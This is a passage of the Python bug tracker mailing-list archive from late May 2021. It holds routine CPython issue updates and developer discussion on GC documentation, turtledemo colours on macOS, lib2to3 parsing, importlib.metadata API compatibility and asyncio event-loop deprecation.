<1622257836.48.0.0685682876153.issue26444@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: -25037 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:21:01 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 03:21:01 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622258461.32.0.918377817069.issue44263@roundup.psfhosted.org> miss-islington added the comment: New changeset a30cbaee84262cdd4597f3204861ccdd86bbf533 by Miss Islington (bot) in branch '3.9': bpo-44263: Better explain the GC contract for PyType_FromSpecWithBases (GH-26442) https://github.com/python/cpython/commit/a30cbaee84262cdd4597f3204861ccdd86bbf533 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:21:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:21:29 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622258489.31.0.152482147515.issue44263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 11049bece15b6fa08fa6d74aea8eb6bc2ebadfe5 by Miss Islington (bot) in branch '3.10': bpo-44263: Better explain the GC contract for PyType_FromSpecWithBases (GH-26442) (GH-26443) https://github.com/python/cpython/commit/11049bece15b6fa08fa6d74aea8eb6bc2ebadfe5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:32:49 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:32:49 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622259169.29.0.0848382939435.issue44263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 43cf7c864a2941b3f8f823e5928721dd286b7778 by Pablo Galindo in branch 'main': bpo-44263: Mention PyType_Ready in the gc protocol warning (GH-26445) https://github.com/python/cpython/commit/43cf7c864a2941b3f8f823e5928721dd286b7778 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:32:49 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 03:32:49 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622259169.63.0.0281821385214.issue44263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25040 pull_request: https://github.com/python/cpython/pull/26446 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:32:54 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 03:32:54 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622259174.27.0.110543725836.issue44263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25041 pull_request: https://github.com/python/cpython/pull/26447 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:44:12 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:44:12 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622259852.57.0.902314067121.issue44263@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:53:48 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 03:53:48 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622260428.62.0.105727520911.issue44263@roundup.psfhosted.org> miss-islington added the comment: New changeset 7bd1304d49a110700b3f079e4b2dd1052a23bde4 by Miss Islington (bot) in branch '3.9': bpo-44263: Mention PyType_Ready in the gc protocol warning (GH-26445) https://github.com/python/cpython/commit/7bd1304d49a110700b3f079e4b2dd1052a23bde4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 00:04:16 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 04:04:16 +0000 Subject: [issue30495] IDLE: modernize textview module In-Reply-To: <1495941740.56.0.621655501188.issue30495@psf.upfronthosting.co.za> Message-ID: <1622261056.21.0.554034729901.issue30495@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 00:19:42 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 04:19:42 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622261982.22.0.232602662192.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: I am going to disable color config on darwin (and hope it gets into b2). The default should always work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 00:24:29 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 04:24:29 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622262269.85.0.966598155855.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: Ned, could you check the darwin osascript in turtledemo.__main__, lines 138-149 is current (both needed and correct)? subprocess.run( [ 'osascript', '-e', 'tell application "System Events"', '-e', 'set frontmost of the first process whose ' 'unix id is {} to true'.format(os.getpid()), '-e', 'end tell', ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL,) The one line could be an fstring now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 01:10:53 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 05:10:53 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622265053.5.0.51497265327.issue44254@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +25042 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26448 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 01:13:09 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 29 May 2021 05:13:09 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622265189.48.0.126326801802.issue44254@roundup.psfhosted.org> Ned Deily added the comment: I did a quick check and it looks like the code may not be needed on the latest macOS and Tk versions; however, I did not go back and check it on older systems and, in any case, it doesn't cause seem to cause any harm and it still does what it is supposed to do: ensure that the turtledemo process is the frontmost, active one regardless of what the OS or Tk may do. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 01:20:18 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 29 May 2021 05:20:18 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622265618.71.0.130711355094.issue44254@roundup.psfhosted.org> Ned Deily added the comment: I also just did a quick test of PR 25448. The current version seems to have swapped one problem for another: now button labels are legible when the Light mode appearance is in effect but the labels blend into the button background when in Dark mode, the opposite of the current behavior. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 01:35:13 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 05:35:13 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622266513.39.0.736842688617.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: I presume you tested pr_26448. If default colors do not work, that is on tcl/tk. I suspect 8.6.11 is not prepared for dark theme. The underlying bug is ignoring the tk/user setting and deferring to the system for background only. In the meanwhile, I will try to set the forground to something at least readable on either background. Is the dark theme background black as opposed to dark something? ---------- nosy: +taleinat stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 01:39:10 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 05:39:10 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622266750.93.0.201018670296.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: Of course, I cannot set the background on my Mac, so I will test on Windows and let you verify on dark theme mac ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 01:55:09 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 05:55:09 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622267709.3.0.348333838255.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: I picked a bluish green that works on both white and black on Windows. Test is you can and wish. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 03:19:59 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 07:19:59 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622272799.39.0.0255755728212.issue44254@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +25043 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26449 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 03:20:04 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 07:20:04 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622272804.1.0.386190772208.issue44254@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25044 pull_request: https://github.com/python/cpython/pull/26450 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 03:20:10 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 07:20:10 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622272810.96.0.314340470708.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset af5a324843de395cecc562cb0c757b3768f2077f by Terry Jan Reedy in branch 'main': bpo-44254: On Mac, remove disfunctional colors from turtledemo buttons (GH-26448) https://github.com/python/cpython/commit/af5a324843de395cecc562cb0c757b3768f2077f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 03:24:54 2021 From: report at bugs.python.org (Mulugruntz) Date: Sat, 29 May 2021 07:24:54 +0000 Subject: [issue44259] lib2to3 does not accept "exec" as name In-Reply-To: <1622197167.25.0.926188011866.issue44259@roundup.psfhosted.org> Message-ID: <1622273094.78.0.882237200282.issue44259@roundup.psfhosted.org> Mulugruntz added the comment: Traceback (most recent call last): File "/Users/sgiffard/Library/Application Support/JetBrains/PyCharm2020.3/scratches/scratch_24.py", line 9, in driver.parse_string("""class C:\n def exec(self): pass\n""") File "/usr/local/Cellar/python at 3.9/3.9.5/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib2to3/pgen2/driver.py", line 103, in parse_string return self.parse_tokens(tokens, debug) File "/usr/local/Cellar/python at 3.9/3.9.5/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib2to3/pgen2/driver.py", line 71, in parse_tokens if p.addtoken(type, value, (prefix, start)): File "/usr/local/Cellar/python at 3.9/3.9.5/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib2to3/pgen2/parse.py", line 162, in addtoken raise ParseError("bad input", type, value, context) lib2to3.pgen2.parse.ParseError: bad input: type=1, value='exec', context=(' ', (2, 8)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 03:27:11 2021 From: report at bugs.python.org (Mulugruntz) Date: Sat, 29 May 2021 07:27:11 +0000 Subject: [issue44259] lib2to3 does not accept "exec" as name In-Reply-To: <1622197167.25.0.926188011866.issue44259@roundup.psfhosted.org> Message-ID: <1622273231.04.0.128110866657.issue44259@roundup.psfhosted.org> Mulugruntz added the comment: Sorry, I forgot to mention: macOS Mojave 10.14.5 (18F132) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 03:35:06 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 07:35:06 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622273706.57.0.794214324713.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset addd32986f703e692463828ac0014023a901010f by Miss Islington (bot) in branch '3.10': bpo-44254: On Mac, remove disfunctional colors from turtledemo buttons (GH-26448) https://github.com/python/cpython/commit/addd32986f703e692463828ac0014023a901010f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 04:16:36 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 29 May 2021 08:16:36 +0000 Subject: [issue44100] test__xxsubinterpreters: test_one() fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" In-Reply-To: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org> Message-ID: <1622276196.96.0.0579426221721.issue44100@roundup.psfhosted.org> Shreyan Avigyan added the comment: I'm not sure *but* in the DestroyTests.test_one id1 and id3 were never explicitly destroyed. Can it be related? ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 04:16:42 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 May 2021 08:16:42 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622276202.95.0.140680119533.issue44254@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 9bcb76c24f6d3f01e596a439c1521f9099e3fe80 by Miss Islington (bot) in branch '3.9': bpo-44254: On Mac, remove disfunctional colors from turtledemo buttons (GH-26448) https://github.com/python/cpython/commit/9bcb76c24f6d3f01e596a439c1521f9099e3fe80 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 05:17:41 2021 From: report at bugs.python.org (gaborjbernat) Date: Sat, 29 May 2021 09:17:41 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622279861.7.0.0546268193523.issue44246@roundup.psfhosted.org> gaborjbernat added the comment: After reading through the points here, I must say I agree with Anthony here. The standard library has clear rules regarding how previously working interfaces should be deprecated, and this changeset is violating those. At no point was documented that relying on the list/dict trait of the existing interface is not part of the interface. I don't think the importlib libraries are special enough to warrant exclusion from this rule (as opposed let's say the zoneinfo). ---------- nosy: +gaborjbernat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 05:29:12 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 29 May 2021 09:29:12 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622280552.36.0.733590937838.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: > there's the tuple subclass which pretends to be a dict. There's no tuple subclass that's pretending to be a dict. It overrides __getitem__ for convenience. It never claims to support Mapping. > mypy complains about incorrect types in overrides for both. I'm unsure what the concern is. If there's an issue, it hasn't been reported to the project. importlib_metadata runs mypy tests with the test suite (all passing) and [twine uses the API with strict mypy checking enabled](https://github.com/pypa/twine/blob/eff3a454df49c6e998d3d21d07ef846d8318e446/twine/cli.py#L43-L69) without any exclusions. > the worst part of this is that the `__getitem__` moves from O(1) to O(N) (in some private code this makes importlib.metadata on 3.10 _10x slower than on 3.9_) This issue was revealed during the review and I acknowledged the concern and agreed to address the issue if it mattered. This project has demonstrated its concern for performance issues as are apparent through a number of optimizations in the changelog. In every use case I've seen, the performance is improved by the current approach (a group/sort operation is avoided). If the performance is a concern, I once again welcome a bug report describing the use-case and the impact, though I suspect it's an isolated case and likely would best be addressed outside the official codebase. > this is an api break with 3.9 which returned a `list` I acknowledge this break, though I believe the concerns are overblown. The API specifically sought to reduce dependence on receiving a list and instead to provide a more abstract collection. > I don't think [introducing behavior in backports] is appropriate. It's true, the "backport" monkier is a false one here. From the very beginning, these modules first introduced their behavior outside the stdlib and were then ported into CPython. Moreover, the past couple of years have seen substantial refinement and innovation and was able to move much faster and reach stability much faster and with wider adoption than if the library had followed the stardard Python development cadence. It's quite likely that this project will eventually stabilize to the point that most users do not need the backport, but while it exists, it's providing massive value. Consider the most recent example (https://importlib-metadata.readthedocs.io/en/latest/history.html#v4-3-1) where a performance improvement caused a regression. The regression was detected and fixed within a day. Now when CPython adopts that behavior, we can all have higher confidence in the viability of the implementation. It would be a pretty big shift to block this approach, but it's not out of the realm of consideration. Still, it's out of scope for this discussion. Feel free to raise it separately. > [the typing issues] were *trivially solved* by a dictionary comprehension No such solution was proposed by anybody, but more importantly, I don't believe the solution would have been so trivial and still met the objectives. > the types describing the new apis require *significant* `# type: ignore`s to pass mypy because they violate basic substitutability. I'm unaware of this issue and it's not been reported, but I also don't believe it's an issue. Both twine and keyring have adopted the latest API and pass mypy tests. > they also cannot be used in any of the contexts they were appropriate for in <3.10 (Dict[str, List[EntryPoint]] or List[Entrypoint] depending on the api). That's right. The API has changed. > many issues on importlib-metadata Where "many" ~= 1 (https://github.com/python/importlib_metadata/issues?q=is%3Aissue+DeprecationWarning). > many issues linking to your deprecation issue Do you mean https://github.com/python/importlib_metadata/pull/289 or something else? I see ~4 projects (astropy, pytest-randomly, keyring, virtualenv) making mention there. I'd expected the number of projects to be affected to be more than that. > there is significant toil I care about toil. A lot. I don't make incompatible changes lightly, and I spent a good deal of time documenting the motivations and providing guidance on how to transition. I've actively worked with each project that's requested help to minimize their toil and provide a one-shot transition to the new API. > if you look at your issue tracker it has been reported before and by others I looked and didn't find it. Help me see what I'm missing. > "the testsuite didn't demonstrate this usecase so I'm free to change it" That's not the spirit of my words. The API had an intended usage that was borne out by the documentation and tests. If users relied on other interfaces that were incidentally present, the user bears some risk in relying on those behaviors. Still, I accept responsibility to provide a transitional support even for those cases. ---------- nosy: -gaborjbernat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 05:51:21 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 29 May 2021 09:51:21 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622281881.77.0.40958173216.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: > The standard library has clear rules regarding how previously working interfaces should be deprecated, and this changeset is violating those. At no point was documented that relying on the list/dict trait of the existing interface is not part of the interface. Thanks G?bor for chiming in. A minor correction, the "dict" trait was documented, and compatibility is retained for that trait. It's only the "list" trait of the less-commonly-used "Distribution.entry_points" that's a concern here, and I've yet to see an example of it being an actual concern. I've already offered to add compatibility if a compelling use case is presented. > I don't think the importlib libraries are special enough to warrant exclusion from this rule (as opposed let's say the zoneinfo). The docs do explicitly call out that the module is provisional. https://docs.python.org/3/library/importlib.metadata.html Still, I believe it's best for this module to honor the stdlib practices as best as possible, and I believe the indicated change does that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 06:52:53 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Sat, 29 May 2021 10:52:53 +0000 Subject: [issue41249] TypedDict inheritance doesn't work with get_type_hints and postponed evaluation of annotations across modules In-Reply-To: <1594252058.32.0.479050209218.issue41249@roundup.psfhosted.org> Message-ID: <1622285573.68.0.733569565337.issue41249@roundup.psfhosted.org> Nils Kattenbeck added the comment: What is/was the initial reason to not preserve the MRO for a TypedDict? The only thing which came to my mind would be instantiation performance but as annotations are not evaluated by default and on the right-hide side of assignment most people will use dict literals I am not sure if this is still relevant. Otherwise it might even be simpler to just preserve the original bases in TypedDict but please correct me if I overlooked something ---------- nosy: +Nils Kattenbeck _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 08:57:41 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 May 2021 12:57:41 +0000 Subject: [issue34219] distutils: build_ext -D wrongly assume defining a symbol with no value In-Reply-To: <1532509080.28.0.56676864532.issue34219@psf.upfronthosting.co.za> Message-ID: <1622293061.93.0.36925712393.issue34219@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 09:36:25 2021 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 29 May 2021 13:36:25 +0000 Subject: [issue44258] Support PEP 515 for Fraction's initialization from string In-Reply-To: <1622180851.71.0.222300329356.issue44258@roundup.psfhosted.org> Message-ID: <1622295385.46.0.0374193470027.issue44258@roundup.psfhosted.org> Vedran ?a?i? added the comment: How about '1_/_2'? I think making / more separated adds value... though of course, someone will ask about '1 / 2' next. :-) ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 09:41:10 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 29 May 2021 13:41:10 +0000 Subject: [issue44258] Support PEP 515 for Fraction's initialization from string In-Reply-To: <1622180851.71.0.222300329356.issue44258@roundup.psfhosted.org> Message-ID: <1622295670.78.0.684820733062.issue44258@roundup.psfhosted.org> Mark Dickinson added the comment: > How about '1_/_2'? I'd rather keep it consistent with the rules for int: that is, if I split on `'/'`, I'd expect the pieces to be parseable by `int`. As for spaces around the `/`, let's make that a separate issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 10:29:26 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sat, 29 May 2021 14:29:26 +0000 Subject: [issue24132] Direct sub-classing of pathlib.Path In-Reply-To: <1430890013.04.0.304568332905.issue24132@psf.upfronthosting.co.za> Message-ID: <1622298566.76.0.158512030827.issue24132@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 10:33:49 2021 From: report at bugs.python.org (hai shi) Date: Sat, 29 May 2021 14:33:49 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622298829.74.0.611763434126.issue42972@roundup.psfhosted.org> Change by hai shi : ---------- pull_requests: +25045 pull_request: https://github.com/python/cpython/pull/26451 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 13:12:41 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sat, 29 May 2021 17:12:41 +0000 Subject: [issue42125] linecache cannot get source for the __main__ module with a custom loader In-Reply-To: <1603430813.16.0.973913314648.issue42125@roundup.psfhosted.org> Message-ID: <1622308361.77.0.690622385578.issue42125@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 13:16:22 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sat, 29 May 2021 17:16:22 +0000 Subject: [issue40350] modulefinder chokes on numpy - dereferencing None in spec.loader In-Reply-To: <1587454417.83.0.816569073565.issue40350@roundup.psfhosted.org> Message-ID: <1622308582.12.0.148313004395.issue40350@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 13:45:20 2021 From: report at bugs.python.org (Ben Darnell) Date: Sat, 29 May 2021 17:45:20 +0000 Subject: [issue39529] Deprecate get_event_loop() In-Reply-To: <1580641897.21.0.210075972969.issue39529@roundup.psfhosted.org> Message-ID: <1622310320.82.0.0257249545158.issue39529@roundup.psfhosted.org> Ben Darnell added the comment: > The maintenance burden of the introduced deprecation should be pretty low. This is going to cause an unpleasant amount of churn in the Tornado community. It's been idiomatic (going back 12 years now) to do all your setup in synchronous code before starting the event loop. I'm tempted to restore the implicit loop creation in Tornado's `IOLoop.current()` (which is now essentially a wrapper around `asyncio.get_event_loop()`). > It leads to weird errors when get_event_loop() is called at import-time and asyncio.run() is used for asyncio code execution. *Checks asyncio.run's implementation* Oh, I can see how that's a problem (and I've been giving people bad advice about the interchangeability of Tornado's IOLoop.run_sync and asyncio.run). But why does `asyncio.run` unconditionally create a new event loop instead of running on `asyncio.get_event_loop`? If asyncio.run used asyncio.get_event_loop it seems to me that we'd have the expected behavior and wouldn't have to make breaking changes to get_event_loop. > Low-level new_event_loop()/loop.run_until_complete() are still present to run async code if top-level run() is not suitable for any reason. What if you're using run_forever instead of run_until_complete? (this is the common mode of operation for Tornado) There are solutions, of course (my preferred one is `await asyncio.Event().wait()`), but it's an extra conceptual hurdle to throw at users in a "hello world" example and this is why I've stuck with the model that uses (the equivalent of) run_forever instead of asyncio.run. ---------- nosy: +Ben.Darnell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 13:49:24 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 17:49:24 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622310564.05.0.66628522469.issue44263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset d8ce746e7c5193757c8d316105870b0dc5d6fa53 by Miss Islington (bot) in branch '3.10': bpo-44263: Mention PyType_Ready in the gc protocol warning (GH-26445) (#26446) https://github.com/python/cpython/commit/d8ce746e7c5193757c8d316105870b0dc5d6fa53 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 13:54:55 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 29 May 2021 17:54:55 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1622310895.47.0.422539076811.issue38768@roundup.psfhosted.org> Erlend E. Aasland added the comment: This looks useful: https://lldb.llvm.org/use/python.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 14:29:22 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 29 May 2021 18:29:22 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622312962.72.0.537129562849.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +25046 pull_request: https://github.com/python/cpython/pull/26452 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 15:13:51 2021 From: report at bugs.python.org (David Gene) Date: Sat, 29 May 2021 19:13:51 +0000 Subject: [issue44264] Add descriptive error message when environment variable not detected Message-ID: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org> New submission from David Gene : Using os.environ[KEY] with a non-existent environment variable key only gives a simple KeyError, which may be fine for a developer to understand, but if a user of a Python program were to come across it, it may not indicate what they needed to do to avoid the crash. I would raising the keyError with a message such as "Environment variable '{}' not set". ---------- messages: 394735 nosy: astrosticks priority: normal pull_requests: 25047 severity: normal status: open title: Add descriptive error message when environment variable not detected type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 16:23:50 2021 From: report at bugs.python.org (Martmists) Date: Sat, 29 May 2021 20:23:50 +0000 Subject: [issue42085] Add dedicated slot for sending values In-Reply-To: <1603136296.98.0.312180912341.issue42085@roundup.psfhosted.org> Message-ID: <1622319830.04.0.313974501616.issue42085@roundup.psfhosted.org> Change by Martmists : ---------- nosy: +martmists nosy_count: 4.0 -> 5.0 pull_requests: +25048 pull_request: https://github.com/python/cpython/pull/25465 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 16:30:39 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 20:30:39 +0000 Subject: [issue42085] Add dedicated slot for sending values In-Reply-To: <1603136296.98.0.312180912341.issue42085@roundup.psfhosted.org> Message-ID: <1622320239.85.0.626021928346.issue42085@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25049 pull_request: https://github.com/python/cpython/pull/26453 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 29 16:30:35 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 May 2021 20:30:35 +0000 Subject: [issue42085] Add dedicated slot for sending values In-Reply-To: <1603136296.98.0.312180912341.issue42085@roundup.psfhosted.org> Message-ID: <1622320235.75.0.512208572871.issue42085@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 0b11c429c7f1721d9ffb9ae19e3e8e2e7bd6444d by Martmists in branch 'main': bpo-42085: [docs] Add versionadded for 